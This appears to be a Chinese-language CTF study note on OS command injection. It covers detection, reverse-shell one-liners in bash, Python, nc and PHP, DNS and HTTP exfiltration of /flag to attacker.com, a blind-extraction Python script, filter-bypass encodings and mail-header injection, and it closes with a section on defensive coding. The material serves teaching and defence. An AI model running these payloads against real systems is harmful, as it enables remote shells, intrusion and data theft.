命令注入实战笔记
一、概念与原理
定义:命令注入(Shell Injection)指攻击者通过向应用提交精心构造的输入,使后端在 OS 层执行未授权的系统命令,从而控制应用/主机或窃取数据。
与 SQL 注入的区别:
-
SQL 注入:用户输入拼接到数据库查询
-
命令注入:用户输入拼接到系统命令
本质:用户输入未经过滤直接拼接到 shell 命令中执行。
二、注入点识别
2.1 典型场景
| 场景 | 典型参数 | 示例 |
|---|---|---|
| 文件操作 | filename, path, file | 文件读取/下载/导出 |
| 系统命令 | cmd, command, exec, ip | ping, nslookup, traceroute |
| 图片处理 | image, file | ImageMagick 转换 |
| PDF 生成 | html, url | wkhtmltopdf |
| 邮件发送 | to, subject, from | sendmail 调用 |
| 压缩解压 | zipfile, tarfile | 解压缩功能 |
| 文件名 | name, title | 上传/重命名/导出 |
2.2 后端危险函数
| 语言 | 危险函数 |
|---|---|
| PHP | system(), exec(), shell_exec(), passthru(), popen(), proc_open(), 反引号 ` ` |
| Python | os.system(), os.popen(), subprocess.call(shell=True), commands.* |
| Java | Runtime.exec(), ProcessBuilder |
| Node.js | child_process.exec(), child_process.spawn() |
三、探测与确认
3.1 分隔符测试 Payload
Windows 与 Unix 通用:
| 分隔符 | 含义 | 示例 |
|---|---|---|
& | 前后命令都执行 | cmd1 & cmd2 |
&& | 前面成功才执行后面 | cmd1 && cmd2 |
| | 管道,前面输出作为后面输入 | cmd1 | cmd2 |
|| | 前面失败才执行后面 | cmd1 || cmd2 |
仅 Unix 有效:
| 分隔符 | 含义 | 示例 |
|---|---|---|
; | 命令分隔,前后都执行 | cmd1; cmd2 |
\n (%0a) | 换行执行新命令 | cmd1%0acmd2 |
反引号 ` | 命令替换,嵌入执行 | echo `whoami` |
$() | 命令替换,嵌入执行 | echo $(whoami) |
3.2 快速探测流程
Step 1: 回显测试────────────────────────────────────────Payload: ; echo INJECTED & echo INJECTED & | echo INJECTED
有回显 → 直接利用无回显 → 进入盲注检测
Step 2: 盲注检测(时间延迟)────────────────────────────────────────Payload: ; sleep 5 & ping -c 5 127.0.0.1 & || sleep 5
有延迟 → 命令执行成功,进入利用阶段无延迟 → 换分隔符或换注入点
Step 3: OOB 外带确认(DNS/HTTP)────────────────────────────────────────Payload: ; nslookup $(whoami).attacker.com & curl http://attacker.com/$(id | base64)
收到请求 → 确认漏洞存在3.3 有用的侦察命令
Linux:
whoami # 当前用户id # 用户ID和组uname -a # 系统信息cat /etc/passwd # 用户列表ifconfig / ip a # 网络配置netstat -an # 网络连接ps -ef # 进程列表cat /proc/1/cgroup # 容器检测find / -name "flag*" 2>/dev/null # 查找 flagWindows:
whoami # 当前用户ver # 系统版本ipconfig /all # 网络配置netstat -an # 网络连接tasklist # 进程列表dir /s /b flag* # 查找 flag四、Payload 体系化总结
4.1 有回显场景
信息收集:
; id; whoami; cat /etc/passwd; uname -a; cat /proc/1/cgroup # 容器检测读取 Flag:
; cat /flag; cat /flag.txt; find / -name "flag*" 2>/dev/null; ls -la / && cat /flag*反弹 Shell:
# Bash; bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'
# Python; python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# nc(需要 -e 支持); nc IP PORT -e /bin/bash
# nc(无 -e 版本); rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT >/tmp/f
# PHP; php -r '$sock=fsockopen("IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'4.2 无回显场景
方式1: 写入 Web 目录(最稳)
; cat /flag > /var/www/html/flag.txt; cp /flag /var/www/html/f.txt; ls / > /var/www/html/out.txt方式2: DNS 外带
# 基础外带; nslookup $(whoami).attacker.com; ping -c 1 $(whoami).attacker.com
# 外带文件内容(分段); ping -c 1 $(cat /flag | head -c 30 | xxd -p).attacker.com
# 完整外带(需 dnslog 平台); for i in $(cat /flag); do ping -c 1 $i.attacker.com; done方式3: HTTP 外带
; curl http://attacker.com/?d=$(cat /flag | base64); wget http://attacker.com/?d=$(cat /flag | base64)方式4: 时间盲注(逐字符提取)
# 单字符判断; if [ $(cat /flag | head -c 1) = 'f' ]; then sleep 3; fi
# Python 自动化脚本import requests, string, time
url = "http://target.com/cmd?ip=127.0.0.1;"charset = string.ascii_letters + string.digits + "{}_"flag = ""
for i in range(1, 50): for c in charset: payload = f"if [ $(cat /flag | head -c {i} | tail -c 1) = '{c}' ]; then sleep 2; fi" start = time.time() requests.get(url + payload) if time.time() - start > 2: flag += c print(f"Flag: {flag}") break4.3 特殊场景
文件名注入:
# 上传文件名为恶意命令filename="test;cat /flag"PDF 生成注入(wkhtmltopdf):
<img src="x" onerror="eval(atob('Y2F0IC9mbGFn'))">邮件头注入:
to=admin@test.com%0abcc:attacker@evil.com%0aSubject: $(cat /flag)五、过滤绕过技巧
5.1 空格绕过
| 方法 | Payload | 说明 |
|---|---|---|
${IFS} | cat${IFS}/flag | IFS 默认为空格/tab/换行 |
$IFS$9 | cat$IFS$9/flag | $9 是空变量,防粘连 |
{} 大括号 | {cat,/flag} | 大括号扩展,推荐 |
Tab (%09) | cat%09/flag | URL 编码 |
换行 (%0a)只能用来执行两条命令 | cmd1%0acmd2 | URL 编码 |
| 重定向 | cat</flag | 输入重定向 |
$@ | cat$@/flag | 特殊变量 |
<> | cat<>/flag | 读写重定向 |
示例:
# 原始cat /flag
# 绕过空格过滤cat${IFS}/flagcat$IFS$9/flag{cat,/flag}cat%09/flagcat</flag5.2 关键字绕过
方法1: 引号打断
c'a't /flagc"a"t /flagca''t /flagcat /fl'a'g方法2: 反斜杠转义
c\at /flagca\t /fl\agcat /fl\ag方法3: 变量拼接
a=c;b=a;c=t;$a$b$c /flaga=cat;b=/flag;$a $b方法4: Base64 编码
# cat /flag 的 base64echo Y2F0IC9mbGFn | base64 -d | bash
# 执行任意命令echo Y2F0IC9mbGFn | base64 -d # 解码查看方法5: Hex 编码
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")# \x63\x61\x74 = cat, \x20 = 空格, \x2f\x66\x6c\x61\x67 = /flag方法6: Octal 编码
$(printf "\143\141\164\040\057\146\154\141\147")方法7: 通配符(最强)
/???/??t /fl?? # /bin/cat /flag(可能匹配多个命令)/???/c?t /fl?? # /bin/cat /flag(更精确)/???/?s -?? # /bin/ls -la/???/??d /???/??ss?? # /bin/find /var/www通配符说明:
-
?匹配单个字符 -
*匹配任意长度字符 -
必须匹配到实际存在的文件路径才有效
-
测试方法:
echo /???/??t查看展开结果
5.3 分隔符绕过
| 过滤 | 绕过方法 | Payload |
|---|---|---|
; | %0a, &&, | | cmd1%0acmd2 |
| ` | ` | %7c, | |
&& | %26%26 | cmd1%26%26cmd2 |
| 空格 | 见 5.1 | - |
换行符注入:
# LFcmd%0acmd2
# CRLFcmd%0d%0acmd25.4 长度限制绕过
方法: 分段写入
# 写入脚本; echo -n 'cat ' > /tmp/a; echo '/flag' >> /tmp/a; sh /tmp/a
# 或逐字符写入; echo 'c' > /tmp/x; echo 'a' >> /tmp/x; echo 't' >> /tmp/x; echo ' /flag' >> /tmp/x; sh /tmp/x5.5 绕过技巧速查表
| 过滤内容 | 绕过方法 | Payload 示例 |
|---|---|---|
| 空格 | ${IFS}, {}, %09, < | cat${IFS}/flag, {cat,/flag} |
| cat | 引号, 反斜杠, 通配符 | c'a't, c\at, /???/c?t |
| flag | 引号, 通配符 | /fl'a'g, /fl?? |
| ; | %0a, && | cmd1%0acmd2 |
| | | %7c | cmd1%7ccmd2 |
| / | ${PATH:0:1} | cat ${PATH:0:1}flag |
| 关键字全过滤 | 通配符 + 编码 | /???/c?t%20/fl?? |
| . | [^a] 匹配一个不是 a 的字符 | flag[^a]txt |
5.6 组合绕过案例
场景:过滤空格、cat、flag、;、|、`、$()
# 方法1: 大括号 + 通配符{c""at,/fl??}
# 方法2: 通配符 + URL 编码空格/???/c?t%20/fl??
# 方法3: Base64(如果允许管道符解码)echo Y2F0IC9mbGFn|base64 -d|sh注意:
-
${IFS}与通配符组合可能不稳定,推荐使用大括号{} -
通配符
??t必须匹配到实际存在的文件 -
区分命令分隔符(
;%0a)和参数分隔符(空格%20)
六、CTF 实战思路
6.1 常见坑点
| 坑点 | 表现 | 解决方案 |
|---|---|---|
| 无回显 | 执行成功但看不到输出 | DNS/HTTP 外带,写文件 |
| 空格过滤 | cat /flag 失败 | ${IFS}, {cat,/flag} |
| 关键字过滤 | cat flag 被拦截 | 通配符, 变形, base64 |
| 长度限制 | payload 被截断 | 分段写入 |
| 字符白名单 | 只允许特定字符 | 组合利用可用字符 |
| 仅内网 | 不能访问外网 | 反弹 shell 到内网 IP |
| 容器环境 | 没有 cat 等命令 | head, more, nl, tail |
| 命令不存在 | cat: command not found | 使用完整路径 /bin/cat |
6.2 快速判断流程
1. 注入测试 │ ├─ ; id → 有回显? │ ├─ 是 → 直接利用,cat /flag │ └─ 否 → 继续 │ ├─ ; sleep 5 → 有延迟? │ ├─ 是 → 盲注,选择外带方式 │ └─ 否 → 换分隔符或换注入点 │ └─ ; curl dnslog → 收到请求? ├─ 是 → OOB 可用 └─ 否 → 写文件/时间盲注
2. 过滤测试 │ ├─ 测试空格 → ${IFS} / {} / %09 绕过 ├─ 测试 cat → c'a't / /???/c?t 绕过 ├─ 测试 flag → /fla? / /f* 绕过 └─ 测试分隔符 → %0a / && 绕过
3. 利用方式选择 │ ├─ 有回显 → 直接读 flag ├─ 无回显 + 有外网 → DNS/HTTP 外带 ├─ 无回显 + 无外网 → 写 web 目录 └─ 完全盲 → 时间盲注逐字符6.3 真实案例
案例1: 文件名注入
场景: 文件下载功能,filename 参数原始: download?file=report.pdf利用: download?file=report.pdf;cat /flag原因: 后端执行 wget $filename 未过滤案例2: PDF 生成注入
场景: wkhtmltopdf 渲染用户输入 HTML利用: <img src="x" onerror="eval(atob('Y2F0IC9mbGFn'))">原因: HTML 渲染时执行 JS,可读取本地文件案例3: Ping 命令注入
场景: 网络工具页面,ping 功能原始: /api/ping?ip=127.0.0.1利用: /api/ping?ip=127.0.0.1;cat${IFS}/flag原因: 后端执行 ping -c 4 $ip 未过滤案例4: 邮件头注入
场景: sendmail 发送邮件利用: to=admin@test.com%0abcc:attacker@evil.com原因: 换行符注入邮件头,可窃取邮件/执行命令七、防御与修复
7.1 核心防御原则
优先级从高到低:
-
根本解决:避免调用 OS 命令
-
必须调用时:使用参数数组形式
# 错误:shell=True 会被注入subprocess.call("ping -c 4 " + user_input, shell=True)
# 正确:参数数组,shell=Falsesubprocess.call(["ping", "-c", "4", user_input], shell=False)-
白名单校验
-
不要仅依赖转义/黑名单
-
最小权限
7.2 各语言安全写法
Python:
import subprocess
# 安全:参数数组,shell=Falsesubprocess.run(["ls", "-la", user_path], shell=False, capture_output=True)
# 使用 shlex 转义(不推荐作为主要防线)import shlexsafe_path = shlex.quote(user_input)PHP:
// 安全:escapeshellarg 转义单个参数$safe_path = escapeshellarg($user_input);system("ls -la " . $safe_path);
// 安全:escapeshellcmd 转义整个命令$safe_cmd = escapeshellcmd($user_cmd);system($safe_cmd);
// 更安全:避免 system(),使用原生函数// 读文件用 file_get_contents() 而非 catJava:
// 安全:使用 ProcessBuilder 参数列表ProcessBuilder pb = new ProcessBuilder("ping", "-c", "4", userIp);Process p = pb.start();
// 不安全:Runtime.exec 字符串形式(会被解析)Runtime.getRuntime().exec("ping -c 4 " + userIp); // 危险!Node.js:
// 安全:使用数组形式,不传 shell: trueconst { spawn } = require('child_process');const child = spawn('ls', ['-la', userPath]);
// 不安全:exec 会启动 shellconst { exec } = require('child_process');exec('ls -la ' + userPath, (err, stdout) => {}); // 危险!7.3 修复 Checklist
-
[ ] 识别代码中所有调用 OS 命令的位置
-
[ ] 评估是否可用原生 API 替换
-
[ ] 必须调用时改为参数数组形式
-
[ ] 对用户输入做白名单校验
-
[ ] 限制进程权限和文件系统访问
-
[ ] 部署检测:异常延迟、DNS 外带、命令模式
八、最小化思维模型
┌─────────────────────────────────────────┐│ 命令注入攻击本质路径 │├─────────────────────────────────────────┤│ 1. 找注入点: 参数拼接到系统命令 ││ 2. 测试分隔: ; | & && || $() `` %0a ││ 3. 确认执行: id / sleep / DNS 外带 ││ 4. 读 flag: cat / find / 通配符 ││ 5. 遇过滤: 空格→IFS, 关键字→变形/编码 ││ 6. 无回显: 外带 / 写文件 / 时间盲注 │└─────────────────────────────────────────┘一句话总结: 找到命令拼接点 → 用分隔符注入 → 有回显直接读,无回显外带数据,遇到过滤就变形编码。
九、参考资源
最后更新: 2026-03-22